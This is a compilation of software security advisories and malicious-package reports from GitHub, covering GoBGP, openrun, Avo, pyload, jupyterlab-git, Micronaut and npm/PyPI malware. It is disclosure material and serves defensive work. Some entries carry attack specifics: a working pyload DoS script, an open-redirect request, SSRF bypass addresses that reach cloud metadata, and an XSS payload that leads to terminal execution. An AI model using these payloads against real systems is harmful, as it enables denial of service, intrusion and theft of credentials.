Search: github.com

Found through variant analysis based on `CVE-2026-41643` ## Summary GoBGP accepts a zero-length AS_PATH during UPDATE decoding and later panics while validating that attribute for a confederation eBGP peer. The vulnerable path is in the BGP UPDATE validator: a malformed UPDATE that should be rejected as a malformed AS_PATH instead reaches an unchecked `p.Value[0]` access, allowing a configured confederation eBGP peer to trigger a denial of service. ## Affected - Project: gobgp - Repo: https://github.com/osrg/gobgp - Pinned ref: c24629411ba49f160d9dc09126f418218127e016 ## Root cause An established peer's receive path reads BGP bytes from the network connection in `pkg/server/fsm.go:1267`, parses UPDATE bodies through the BGP message decoder, and validates decoded UPDATEs with peer state at `pkg/server/fsm.go:1849`. The UPDATE decoder walks the path-attribute list in `pkg/packet/bgp/bgp.go:15773` and selects the concrete attribute parser from the attacker-controlled attribute type at `pkg/packet/bgp/bgp.go:15855`. For AS_PATH, `PathAttributeAsPath.DecodeFromBytes` returns nil when the decoded attribute length is zero (`pkg/packet/bgp/bgp.go:11533`, `pkg/packet/bgp/bgp.go:11538`), leaving `p.Value` empty rather than reporting a malformed attribute. Validation then dispatches each decoded attribute through `ValidateAttribute` (`pkg/packet/bgp/validate.go:34`); in the confederation eBGP branch, `pkg/packet/bgp/validate.go:162` indexes `p.Value[0]` before checking that any AS_PATH segment was decoded. The eBGP and confederation guards are normal peer-state gates: `pkg/config/oc/util.go:127` defines eBGP as peer AS differing from local AS, `pkg/config/oc/util.go:116` checks confederation membership, and `pkg/server/fsm.go:740` and `pkg/server/fsm.go:741` copy those results into the FSM state used by the validator. ## Reproduction [INT-bgp-gobgp-confed-empty-aspath-panic.zip](https://github.com/user-attachments/files/28203698/INT-bgp-gobgp-confed-empty-aspath-panic.zip) ```bash bash ./poc/run.sh ``` ```text TRIGGERED: confed empty AS_PATH validation panic: runtime error: index out of range ``` The `TRIGGERED` line is the recovered panic fingerprint from the confederation eBGP validation path after a zero-length AS_PATH has decoded successfully. A build failure or any output without that fingerprint would not demonstrate this bug, because the signal is tied to the unchecked AS_PATH segment access. ## Impact A remote unauthenticated peer that is configured as a confederation eBGP neighbor can establish a BGP session and send a single malformed UPDATE containing a syntactically valid AS_PATH attribute header with zero value length. Because the decode path does not turn that empty AS_PATH into a `MessageError`, normal malformed-attribute handling is bypassed and validation panics before GoBGP can return a BGP NOTIFICATION. The demonstrated effect is denial of service for the receive goroutine and peer session, with potential process termination if the panic is not recovered by the runtime path; no memory corruption, data disclosure, authentication bypass, or code execution is claimed. ## Suggested fix ```001-fix.diff diff --git a/pkg/packet/bgp/validate.go b/pkg/packet/bgp/validate.go index 2237afb..f07f4fa 100644 --- a/pkg/packet/bgp/validate.go +++ b/pkg/packet/bgp/validate.go @@ -159,6 +159,9 @@ func ValidateAttribute(a PathAttributeInterface, rfs map[Family]BGPAddPathMode, case *PathAttributeAsPath: if isEBGP { if isConfed { + if len(p.Value) == 0 { + return false, NewMessageError(eCode, eSubCodeMalformedAspath, nil, "empty AS_PATH for confederation eBGP") + } if segType := p.Value[0].GetType(); segType != BGP_ASPATH_ATTR_TYPE_CONFED_SEQ { return false, NewMessageError(eCode, eSubCodeMalformedAspath, nil, fmt.Sprintf("segment type is not confederation seq (%d)", segType)) } ``` ## Resources - https://github.com/osrg/gobgp/blob/c24629411ba49f160d9dc09126f418218127e016/pkg/packet/bgp/bgp.go#L11533-L11540 - https://github.com/osrg/gobgp/blob/c24629411ba49f160d9dc09126f418218127e016/pkg/packet/bgp/validate.go#L159-L164

### Summary The restrictions on redirect URLs in `openrun` can be bypassed by attackers, leading to open redirect attacks. ### Details In the current project, the referrer header value is used for subsequent redirects, so there is currently a validation for this redirect value. The current validation logic requires that the host and schema of the redirect URL be the same as the current website's URL, and finally, the path part is used for redirection. This check seems robust, but it can still be bypassed by attackers. <img width="1606" height="1346" alt="QQ20260602-140205-2-2" src="https://github.com/user-attachments/assets/83c549f3-38d7-444d-90f0-131d806f67ff" /> Here's the problem: Assuming the current website is `http://127.0.0.1:25222/`, if the attacker passes in a redirect URL of `http://127.0.0.1:25222//fushuling.com`, its host and schema are obviously the same as the current website, thus bypassing the verification. However, the issue lies in the final redirect URL, which is the path part of the URL, i.e., `//fushuling.com`. Browsers automatically complete the HTTP header for URLs starting with `//`, ultimately successfully bypassing the restriction and redirecting to the external address `http://fushuling.com`. This vulnerable behavior was successfully reproduced locally. Normally, specifying an external address directly will be blocked, so it will not redirect. <img width="1587" height="717" alt="QQ20260602-140756-2-3" src="https://github.com/user-attachments/assets/51430c42-bd10-401b-9c9f-27a91a0bc648" /> However, if the redirect URL is `http://127.0.0.1:25222//fushuling.com`, the existing validation logic is bypassed, and the Location header is successfully set to `//fushuling.com`. ``` POST /redirecttest/abc/frag HTTP/1.1 Host: 127.0.0.1:25222 Referer: http://127.0.0.1:25222//fushuling.com Cache-Control: max-age=0 sec-ch-ua: "Not(A:Brand";v="24", "Chromium";v="122" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.57 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 0 ``` <img width="1536" height="729" alt="QQ20260602-140925-2-4" src="https://github.com/user-attachments/assets/31fde919-5f90-409f-8b14-af6c9c71761b" /> The user was then successfully redirected to the external address `http://fushuling.com`. <img width="1692" height="855" alt="QQ20260602-141005-2-5" src="https://github.com/user-attachments/assets/83b43ef6-52fa-4218-908b-7795394ae707" /> ### PoC ``` http://127.0.0.1:25222//fushuling.com ``` ### Impact Open Redirect

GitHub CLI (gh) versions 2.10.0 through 2.95.0 contain a vulnerability in the 'gh codespace jupyter' command. This command opens a JupyterLab URL from inside the Codespace without validating that the URL is a loopback HTTP or HTTPS address. An attacker can craft vscode:// or vscode-insiders:// URLs that may be passed to VS Code, potentially enabling command execution. The issue is fixed in version 2.96.0.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (2da390c130eb840eb129a5d43faf0a64a0f0f602070243613aa0e2f8ea8f6d04) The package advertises itself as a wrapper for a 'qsshd executable' but the bundled Go binary is a reverse-SSH daemon that grants a remote operator persistent shell, exec, pty, and TCP port-forwarding on the installer's host. The entry point `proxy-check-i` (declared in the package's console_scripts, mapped to `qsshd.launcher:main`) uses `os.execv` to launch the bundled Go binary. The daemon establishes device identity by writing a `.device_lock` file under `$XDG_CONFIG_HOME`, `/dev/shm`, or `/tmp`, then repeatedly dials out to a relay via `github.com/mydearniko/overthing` (`tunnel.NewServer` with `RelayURI` and `ForwardAddr` pointing at the local SSH listener). SSH authentication only accepts a single hardcoded ed25519 public key embedded at build time via `//go:embed authorized_keys`, so only the key holder can connect. The reverse-connect design bypasses inbound firewalls. PyPI metadata is a cover story: PKG-INFO summary mentions only 'qsshd executable' with no README and no disclosure of SSH-server, authorized-keys, or outbound-relay behavior, so an installer cannot infer they are enabling a remote-shell daemon. Any host that runs `proxy-check-i` is remotely controllable by the key holder. ## Source: kam193 (dd01be5624206ed8c0a5ba9535c9a9e79ed8770b37eb9ebc381edbe73cb5e779) The embedded binary starts a relayed SSH-like server using a hardcoded authorized_key. Thanks to using a relay network, the attacked does not need to directly expose ports from the machine. --- Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign: 2026-07-proxy-check-i Reasons (based on the campaign): - backdoor - The package contains code to execute remote commands (probably limited to a specific set) on the victim's machine.

### Summary Avo's direct attachment upload endpoint lacks server-side upload authorization and bypasses the documented field-level upload policy methods such as `upload_{FIELD_ID}?`. An authenticated Avo user who can reach the Avo attachment upload endpoint can replace or add attachment content, including binary content, filename, and content-type metadata, on a resolved record even when both `update?` and `upload_<field>?` policies deny the operation. This primarily affects multi-role Avo Pro/Advanced-style deployments where non-administrator or restricted operator users can reach Avo and per-record or per-field operations are expected to be enforced by policies. ### Details Avo exposes a direct attachment upload endpoint: ```text POST /<avo-root>/avo_api/resources/:resource_name/:id/attachments/ ``` The vulnerable code path is `Avo::AttachmentsController#create`: - `app/controllers/avo/attachments_controller.rb:9-24` Current behavior: ```ruby def create blob = ActiveStorage::Blob.create_and_upload! io: params[:file].to_io, filename: params[:filename] association_name = BaseResource.valid_attachment_name(@record, params[:attachment_key]) if association_name @record.send(association_name).attach blob elsif params[:key].blank? raise ActionController::BadRequest.new(...) end render json: { url: main_app.url_for(blob), href: main_app.url_for(blob) } end ``` This endpoint creates an `ActiveStorage::Blob` before validating the requested attachment association and before any upload authorization could be enforced. If `attachment_key` resolves to an association, the blob is attached to the target record. If the request uses the key-based/Trix path, the endpoint can still persist the blob and return `url`/`href` even when no attachment association is resolved on the target record. The controller never calls: - `@resource.authorization.authorize_action("upload_<field>?", record: @record, ...)` - `@resource.authorization.authorize_action("update?", record: @record, ...)` This is inconsistent with the rest of Avo's file authorization implementation. The field-level file authorization concern defines upload authorization as: - `lib/avo/fields/concerns/file_authorization.rb:11-12` - `lib/avo/fields/concerns/file_authorization.rb:25-27` ```ruby def can_upload_file? authorize_file_action(:upload) end def authorize_file_action(action) authorize_action("#{action}_#{id}?", record: record, raise_exception: false) end ``` That upload policy is used by UI components to decide whether to render upload controls, but the server-side upload endpoint does not enforce the same policy. A user can therefore bypass the policy by directly POSTing to the endpoint. By contrast, attachment deletion does call attachment-specific authorization: - `app/controllers/avo/attachments_controller.rb:27-65` ```ruby def destroy if authorized_to :delete ... end end def authorized_to(action) @resource.authorization.authorize_action("#{action}_#{params[:attachment_name]}?", record: @record, raise_exception: false) end ``` The asymmetry is: - `destroy`: calls `delete_<attachment_name>?` - `create`: does not call `upload_<attachment_key>?` or `update?` The field-level upload authorization intent is also documented by Avo: - Issue #1624 requested the "Ability to police each file upload/download/delete". https://github.com/avo-hq/avo/issues/1624 - PR #1625 introduced `upload_cover_photo?` as an example upload policy method. https://github.com/avo-hq/avo/pull/1625 - PR #1667 clarified the policy semantics: "From now on, only field level authorization will be considered. If it is defined and returns true, the action will be granted; otherwise, it will not." https://github.com/avo-hq/avo/pull/1667 - The current Avo authorization documentation lists `upload_{FIELD_ID}?` as the policy method controlling whether a user can upload an attachment, stating: "Controls whether the user can upload the attachment." https://docs.avohq.io/4.0/authorization.html - The same documentation says the same `upload_file?` policy method will be used to "authorize the file upload" in action file fields. https://docs.avohq.io/4.0/authorization.html Affected versions observed: - PoC-confirmed: Avo `3.31.2`, commit `46aa6b3bc9e3283110c39e58cfec8bb95adc1897` - Same vulnerable code path by source inspection: `origin/main` HEAD as of 2026-05-29, `9e23ddc88f2b1e762e4a5ec35a6f86370ac16c73` - Same vulnerable code path by source inspection: Avo `v4.0.0.beta.26`, `6d339595a27f8779cb99b4aa38ddc97cb702b30f` - Same vulnerable code path by source inspection: `origin/4-dev` at version `4.0.0.beta.40`, `7ab9794f8b044b11b9677cdc57547d99cf96c3f3` Suggested affected range for the GitHub Security Advisory form: ```text >= 2.28.0 ``` Rationale: - The direct attachment upload endpoint exists without upload authorization from commit `ab5f5970e2aa76e6ca0a95bf04f510ba7ed5e858` (`feature: trix atta

Hackers compromised the Injective Labs SDK project's GitHub repository and used it to publish a malicious package on the Node Package Manager (npm) that stole cryptocurrency wallet private keys and mnemonic seed phrases. [...]

### Summary An authenticated path traversal in `assets/icon` allows local SVG file read by passing traversal sequences in the `extension` parameter. The issue is caused by file existence checks happening before extension validation. ### Details The endpoint: - `src/controllers/AssetsController.php:1115-1123` - `actionIcon(string $extension)` calls `Assets::iconPath($extension)` and returns `sendFile($path, ...)`. In `Assets::iconPath()`: - Path is built from user-controlled `extension`: - `src/helpers/Assets.php:906-909` - If `file_exists($path)` is true, path is returned immediately: - `src/helpers/Assets.php:910-912` Validation exists in `Assets::iconSvg()`: - `preg_match('/^\w+$/', $extension)` - `src/helpers/Assets.php:927-931` However, that validation is only reached if `iconPath()` does **not** find a file. So traversal payloads that resolve to existing `.svg` files bypass validation and are served by `sendFile()`. ### Impact - Authenticated users can read local .svg files accessible to the application process. ### References - https://github.com/craftcms/cms/commit/30f5f1a8d6edf0f3a00be72c42c78d9dc7d72d5c

### Impact > DefaultHttpClient follows redirects and forwards Authorization, Cookie, and Proxy-Authorization headers to redirect targets across domain boundaries. The blocklist only filters Host/Connection/TE/CT/CL. > Additionally, no maximum redirect count exists, enabling infinite loop DoS. > Affected: DefaultHttpClient.java lines 231-245, 1591, 2071 > Suggested fix: Strip sensitive headers on cross-domain redirects ### Patches It has been patched for versions: For Micronaut 5, versions equal or greater than 5.0.1 >= For Micronaut 4, versions equal or greater than 4.10.24 >= For Micronaut 3, versions equal or greater than 3.10.6 >= ### Workarounds No ### References Micronaut 5 Patch: https://github.com/micronaut-projects/micronaut-core/commit/9770328999f490bdfbb9e25addd45bf73d4a173a Micronaut 4 Patch: https://github.com/micronaut-projects/micronaut-core/commit/70cab4b44fbf985faba2846091f2356b5bd70719 Micronaut 3 Patch: https://github.com/micronaut-projects/micronaut-core/commit/64e539736b8168f201d868b02ace50fe14f57418

The Netty-based Micronaut HTTP Client does not impose a limit on HTTP redirections, potentially allowing an infinite redirect loop that could lead to a denial-of-service attack. ### Patches The following versions are patched: - For Micronaut 5, versions equal or greater than [5.0.1](https://github.com/micronaut-projects/micronaut-core/releases/v5.0.1) >= - For Micronaut 4, versions equal or greater than [4.10.24](https://github.com/micronaut-projects/micronaut-core/releases/v4.10.24) >= - For Micronaut 3, versions equal or greater than [3.10.7](https://github.com/micronaut-projects/micronaut-core/releases/v3.10.7) >= ### Workarounds No ### Resources Micronaut 5 Patch: https://github.com/micronaut-projects/micronaut-core/commit/6e88a972718d6e1521c5b3bb7766451798dba4e3 Micronaut 4 Patch: https://github.com/micronaut-projects/micronaut-core/commit/f1dffffec8fb5e3b7e94ae907ce0be3831e499d4 Micronaut 3 Patch: https://github.com/micronaut-projects/micronaut-core/commit/c06a2715ca7f78321bc3ca05f41cca78cd351320

## Description: The `EventManager` module in `pyload` manages a list of `Client` instances for subscribing to events. The addition of each unique `uuid` from the `get_events` API causes the creation of a `Client` instance that gets appended to the `clients` list. Although there is a `clean()` method available in the `EventManager` module for removing non-responding `Client` instances, this method is never used in the `EventManager` or in the entire core application code. Consequently, this causes an uncontrolled growth in memory consumption until it becomes exhausted, resulting in a DoS attack. ## Vulnerable Code: https://github.com/pyload/pyload/blob/355c3f8d78a91f72d049e58f1edee8a972f845eb/src/pyload/core/managers/event_manager.py#L16-L17 > Here the client is added to the `clients` list but never cleared the inactive clients. ## Exploitation: 1. **Start pyLoad server** (Ensure the `pyload` server is running) 2. **Authenticate**: Obtain a session cookie or an API key (Here i used the API key). 3. **Send Requests**: Run the below poc script to send a large number of requests to the `getEvents` API endpoint, each with a unique `uuid`. ```python import requests import uuid import time # Configuration URL = "http://localhost:8000/api/getEvents" NUM_REQUESTS = 100000 headers = { "X-API-Key" : "<YOUR_APIKEY>" } print(f"Starting DoS attack: sending {NUM_REQUESTS} unique UUIDs...") for i in range(NUM_REQUESTS): # Generating a new UUID uid = str(uuid.uuid4()) try: # Sending request requests.get(URL, params={"uuid": uid}, headers=headers, timeout=5) if i % 1000 == 0: print(f"Sent {i} requests...") except requests.exceptions.RequestException as e: print(f"Error at request {i}: {e}") break print("Attack complete. Check memory usage.") ``` 5. **Monitor Memory**: Monitor the memory usage of the `pyload` process (e.g., using `top`, `ps` or the following commands). ```bash PID=$(pgrep -f "pyload"); while true; do ps -o rss= -p $PID; sleep 1; done ``` 6. **Observe Growth**: Notice that the memory consumption increases and never decreases, even after the requests stop and 30 seconds. https://github.com/user-attachments/assets/28d460c9-655d-45a1-a47f-c0f4d196f686 ## Impact: - Denial of Service (DoS). The `pyload` process will consume all available system memory, leading to an Out-of-Memory (OOM) kill by the operating system or system-wide instability, affecting other services on the host. ## Mitigations: - **Invoke `clean()`**: Call `self.clean()` at the beginning of the `get_events` method to purge inactive clients before processing new ones. - **Rate Limiting**: Implement rate limiting on the `getEvents` endpoint to prevent a single client from flooding the server with unique UUIDs.

## Summary `is_global_address` in [`src/pyload/core/utils/web/check.py`](https://github.com/pyload/pyload/blob/1b12dc7f348db8c144e0f39215680415e90ca4d2/src/pyload/core/utils/web/check.py) is the central guard against SSRF-style outbound connections in pyload-ng. It tests whether a given IP is "globally routable" via Python's `ipaddress.ip_address(value).is_global`, and callers treat `not is_global` as "deny": ```python def is_global_address(value): try: return ipaddress.ip_address(value).is_global except ValueError: return False def is_global_host(value): ips = host_to_ip(value) return ips and all((is_global_address(ip) for ip in ips)) ``` Python's `ipaddress.IPv6Address.is_global` classifies the NAT64 well-known prefix as **globally routable** on every supported Python version (3.9 through 3.14 confirmed), and on older Pythons (3.9-3.11) the 6to4 prefix as well: | address | `is_global` on Py 3.9-3.11 | `is_global` on Py 3.12+ | wrapped IPv4 | |----------------------------------|---------------------------|--------------------------|----------------------| | `2002:7f00:0001::` (6to4) | True | False | 127.0.0.1 | | `2002:0a00:0001::` (6to4) | True | False | 10.0.0.1 | | `2002:a9fe:a9fe::` (6to4) | True | False | 169.254.169.254 (IMDS)| | `64:ff9b::a9fe:a9fe` (NAT64) | True | True | 169.254.169.254 | | `64:ff9b::7f00:1` (NAT64) | True | True | 127.0.0.1 | pyload-ng declares `python_requires = >=3.9` (`setup.cfg`), so deployments on Python 3.9-3.11 see the 6to4 path too. The NAT64 path is universal. `is_global` returns True for these wrappers, so `is_global_address` returns True and the deny check passes. The pycurl `PREREQFUNC` at [`src/pyload/core/network/http/http_request.py:680`](https://github.com/pyload/pyload/blob/1b12dc7f348db8c144e0f39215680415e90ca4d2/src/pyload/core/network/http/http_request.py#L680) consults the same helper just before TCP-connect: ```python if not self.allow_private_ip: is_proxy_ip = self.http_proxy_host and self.http_proxy_host == (conn_primary_ip, conn_primary_port) if not is_global_address(conn_primary_ip) and not is_proxy_ip: return pycurl.PREREQFUNC_ABORT return pycurl.PREREQFUNC_OK ``` On a host with 6to4 routing (legacy operator tunnels; `2002::/16` still configurable) or NAT64 (cloud IPv6-only subnets with NAT64 gateway), the encoded form routes to the embedded IPv4 and the curl connection terminates at the internal endpoint, defeating the deny. `is_global_host` (the helper that callers like `parse_urls` use against a URL hostname) feeds through `host_to_ip` which pins `family=AF_INET`, so hostname-based reach to these forms relies on the attacker supplying an IPv6 literal in the URL — but the curl PREREQFUNC sees the actual resolved IP (the AAAA returned for the hostname), so a hostname with an AAAA record set to one of the bypass forms reaches the same gap. Cross-reference: this is the same incomplete-coverage class as pydantic-ai's [GHSA-cqp8-fcvh-x7r3](https://github.com/pydantic/pydantic-ai/security/advisories/GHSA-cqp8-fcvh-x7r3) / CVE-2026-46678. pyload-ng's prior SSRF advisories [GHSA-7gvf-3w72-p2pg](https://github.com/pyload/pyload/security/advisories/GHSA-7gvf-3w72-p2pg) and [GHSA-8rp3-xc6w-5qp5](https://github.com/pyload/pyload/security/advisories/GHSA-8rp3-xc6w-5qp5) both went through `is_global_host` / `is_global_address`; the IPv6 transition gap is orthogonal to those redirect-bypass classes. ## Severity **MEDIUM** — `CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:N/A:L` = **4.7** - `AC:H` — exploitation requires the host network to route 6to4 (`2002::/16` traffic), have a NAT64 gateway, or otherwise resolve the IPv6 transition form to an internal IPv4 endpoint at the TCP layer. - `PR:L` — `parse_urls` ([`src/pyload/core/api/__init__.py:582`](https://github.com/pyload/pyload/blob/1b12dc7f348db8c144e0f39215680415e90ca4d2/src/pyload/core/api/__init__.py#L582)) requires `Perms.ADD`, which any account capable of adding links holds. The curl PREREQFUNC at [`http_request.py:680`](https://github.com/pyload/pyload/blob/1b12dc7f348db8c144e0f39215680415e90ca4d2/http_request.py#L680) is reached by every downloader plugin that runs after `is_global_host` passed. - `C:L/A:L` — internal-network recon and timing-based confirmation; cloud-metadata exfiltration on networks where the transition form actually routes. **CWE-918**: Server-Side Request Forgery (SSRF). ## Affected versions `pyload-ng` from the introduction of `is_global_address` / `is_global_host` in [`src/pyload/core/utils/web/check.py`](https://github.com/pyload/pyload/blob/1b12dc7f348db8c144e0f39215680415e90ca4d2/src/pyload/core/utils/web/check.py) up to an

RedHook is an Android Remote Access Trojan that has re-emerged with significant enhancements, particularly in privilege abuse capabilities. The malware autonomously exploits Android's ADB Wireless Debugging features to obtain shell-level access, integrating the Shizuku framework to execute protected system APIs. Recent activity shows expansion beyond Vietnam to Indonesia, targeting Southeast Asian users through spoofed government and financial websites. Malicious APKs are hosted on trusted platforms like AWS S3 and GitHub repositories. The current version supports 53 distinct server-issued commands and employs sophisticated persistence mechanisms including foreground activity spoofing, silent media playback, and cross-process monitoring. Distribution relies on social engineering via phone calls and messaging applications, tricking victims into downloading malicious APKs and enabling Accessibility services under false pretenses.

Malware#adb wireless debugging#phishingIndonesia

A vulnerability was identified in macrozheng mall up to 1.0.3. This impacts an unknown function of the file /returnApply/create of the component Portal Endpoint. The manipulation of the argument orderId leads to improper control of resource identifiers. The attack can be initiated remotely. The exploit is publicly available and might be used. The vendor deleted the GitHub issue for this vulnerability without any explanation.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (0cc73eb727778c3a543bdef1f6993d4c8be38da047fc97b7a0614bd195590249) chain-api-sdk presents itself as the upstream multichain-crypto-wallet library: README, badges, package.json repository.url, and homepage all point to github.com/iamnotstatic/multichain-crypto-wallet, and the public API re-exports that project's wallet primitives (createWallet, transfer, private-key handling, mnemonic generation, encrypted-JSON keystore operations). The npm name differs from the upstream, so consumers who install chain-api-sdk believing they are using the legitimate library are routed to this fork. The fork's main entry (dist/index.js) unconditionally `require`s `mchain-sdk` and re-exports its `mci` and `multiChainInterface` symbols; package.json pins `mchain-sdk: ^4.2.5`. The upstream multichain-crypto-wallet does not depend on mchain-sdk. Because mchain-sdk is loaded on any `require('chain-api-sdk')`, whatever code ships in mchain-sdk executes inside the installer's Node.js process at library-load time, in a wallet library that handles private keys, mnemonics, and keystore data. The combination of upstream impersonation plus an undocumented, name-similar transitive that runs at import inside a wallet context is the delivery-vector shape of a dependency-chain dropper. ## Source: ghsa-malware (4948d6f7945e11f2d42e5ad5bb9fe577678ed57e1acb9ef244858ad572022543) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

A malicious Go module posing as a DNS/subdomain scanner exposed a sophisticated Windows malware staging operation utilizing commit-farming workflows, public dead drops, and protected archives to deploy RAT and infostealer malware. The operation, tracked as 'Muck and Load', leverages a GitHub-based infrastructure comprising 222 confirmed repositories across 190 accounts designed to appear active and legitimate through automated GitHub Actions workflows. The attack chain begins with a deceptive Go module that downloads encoded PowerShell content, which then queries multiple public platforms including Pastebin, Telegram, YouTube, and Instagram as dead drops for encrypted payload locations. The loader retrieves password-protected archives containing AsyncRAT, Quasar, Remcos, and Vidar infostealer payloads, executing them from masqueraded Microsoft-themed directories. At least 14 malware files were confirmed across the repository network.

The npm package `nodemon-sudo` is a typosquat of the popular `nodemon` package: its `package.json` description ("Simple monitor script for use during development of a Node.js app."), `main` entry (`./lib/nodemon`), and forged `author` field (`Remy Sharp`, the real maintainer of `nodemon`) are copied from the legitimate project to appear trustworthy. It was published by npm user `conodeeth` (`coxhazelqja151@outlook.com`) as a single release, version 3.1.16, with no prior or subsequent versions. Its `package.json` declares `tslint-conf@^7.2.1` as a direct runtime dependency — a separately-tracked malicious package (see MAL-2026-7022) that itself masquerades as the `pino` logger and, when its default-exported middleware factory is invoked, spawns a detached background worker (`lib/caller.js`) that fetches attacker-controlled code from a Pinata IPFS gateway and executes it via `new Function.constructor('require', s)`, granting full filesystem and environment access. Static review of `nodemon-sudo`'s own source (all 27 JavaScript files in the published tarball, `lib/`, `bin/`, and root) found no `require('tslint-conf')` or other reference to it anywhere in the package's own code — `nodemon-sudo` itself does not declare an install hook and does not directly invoke the malicious dependency's trigger. Its role in the attack is to typosquat a high-download-count package name and force the known-malicious `tslint-conf` onto the dependency tree of anyone who installs it (a dependency-confusion / malicious-dependency-bundling distribution vector), positioning it for exploitation by any other code path in the victim's project that later requires and calls it. Per SafeDep's analysis, `nodemon-sudo` is linked to the `tslint-conf` supply-chain campaign (also distributed via the related, separately-tracked packages `nodemon-node` — MAL-2026-6957 — and `ts-await` — MAL-2026-6958), attributed with suspected North Korea-linked tradecraft (lookalike package names, jsonkeeper.com dead drops, JSON-field code execution via the `Function` constructor, and no reliance on install hooks). Full analysis: https://safedep.io/malicious-nodemon-sudo-tslint-conf-npm-backdoor/ Analysis performed via static review only (npm registry metadata and package source retrieved as text via the npm registry and unpkg CDN) — the package was not installed or executed. --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (ffc26c0e85db45d7e314fbce4140e9abda3f2eb0912cf1bd9259572a7b7d8f33) Package `nodemon-sudo` copies upstream `nodemon`'s identity — `package.json` reuses Remy Sharp as author, `https://nodemon.io` as homepage, and `github.com/remy/nodemon.git` as repository, and ships an essentially unmodified copy of nodemon's source. The `bin` entry is named `nodemon`, so a global install shadows the real `nodemon` CLI in the installer's PATH. The manifest additionally declares `tslint-conf` in `dependencies`, which is not part of upstream nodemon's dependency set and has no role in nodemon's runtime; installing `nodemon-sudo` therefore pulls this unrelated third-party package into the installer's node_modules. The package itself was not observed exfiltrating data, executing remote code at install time, or shipping a backdoor — the concern is name-confusion (a developer following a tutorial that suggests `sudo` may install this instead of `nodemon`), CLI hijack via the shared `nodemon` bin name, and the injection of an off-purpose dependency into downstream dependency graphs. ## Source: ghsa-malware (e6b941e7418bdecb5f25e70716d050d989137d1cc995e31de120799bb96aae0c) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Overview Amazon Web Services (AWS) Security has identified a stored cross-site scripting (XSS) issue in the jupyterlab-git JupyterLab extension that can lead to remote code execution (RCE). The issue exists in the PlainTextDiff.ts component, where the createHeader() method passes Git filenames directly to innerHTML without sanitization when rendering diffs for renamed files in commit history. This allows an adversary to craft a filename containing arbitrary HTML/JavaScript that executes when another user views the rename diff in the Git History tab. The issue can be leveraged through the rename history view in the JupyterLab Git panel. An adversary creates a file with a crafted filename containing a JavaScript payload (e.g., <img src=x onerror=eval(atob("base64_payload"))>.py), renames the file in a subsequent commit, and pushes to a shared repository. When a victim clones the repository, navigates to the Git History tab, clicks the rename commit, and then clicks the renamed file to view the diff, the unsanitized filename renders via innerHTML, executing arbitrary JavaScript in the victim's browser session. The injected JavaScript reads the xsrf cookie, opens a JupyterLab terminal via POST /api/terminals, connects via WebSocket, and executes arbitrary shell commands — achieving full RCE. An adversary can leverage this to exfiltrate secrets or credentials from the victim's environment. Scope of impact We discovered this issue during internal security testing. The issue is present in the default configuration of JupyterLab when the jupyterlab-git extension is installed. The attack requires: - The adversary to have commit access to a Git repository that the victim has cloned - The victim to navigate to the Git History tab, click the rename commit, and click the renamed file to view the diff The issue could allow an actor who has access to a shared Git repository to execute arbitrary JavaScript in another user's JupyterLab environment by committing a file with a crafted filename, potentially leading to remote code execution with access to user code, data, environment variables, and credentials. Proof of concept The issue exists in the createHeader() method where filenames from rename history are passed directly to innerHTML without sanitization: [1] https://github.com/jupyterlab/jupyterlab-git/blob/main/src/components/diff/PlainTextDiff.ts#L214 Attack flow: 1. An adversary creates a file with a crafted filename containing a JavaScript payload, e.g., <img src=x onerror=eval(atob("base64_payload"))>.py 2. The adversary renames the file in a subsequent commit and pushes both commits to a shared Git repository 3. The victim clones or pulls the repository and navigates to the Git History tab in JupyterLab 4. The victim clicks the rename commit, then clicks the renamed file to view the diff 5. The createHeader() method constructs a diff header using string concatenation with the unsanitized filename and assigns the result to innerHTML 6. The injected JavaScript executes in the victim's browser session, reads the _xsrf cookie, sends a POST request to /api/terminals to open a JupyterLab terminal, connects via WebSocket, and executes arbitrary shell commands Proof-of-concept mitigation The issue can be mitigated by replacing innerHTML with textContent for filename rendering in the createHeader() method of PlainTextDiff.ts. Alternatively, proper HTML sanitization (escaping <, >, &, ", ') can be applied before inserting user-controlled filenames into the DOM.

Composer versions prior to 2.2.29 and 2.10.2 may leak credentials embedded in the username portion of repository or package URLs in debug output when run with very verbose (-vvv) mode. This vulnerability can expose sensitive tokens such as GitHub Personal Access Tokens. The issue is fixed in versions 2.2.29 and 2.10.2.

LiquidJS is a Shopify / GitHub Pages compatible template engine in pure JavaScript. Prior to 10.27.1, the pop array filter at src/filters/array.ts allocated a full clone of its input array via [...toArray(v)] without calling this.context.memoryLimit.use(...), allowing a template render such as {{ huge_array | pop }} to allocate an O(N) clone of an attacker-influenced array outside the configured memoryLimit budget. This issue is fixed in version 10.27.1.

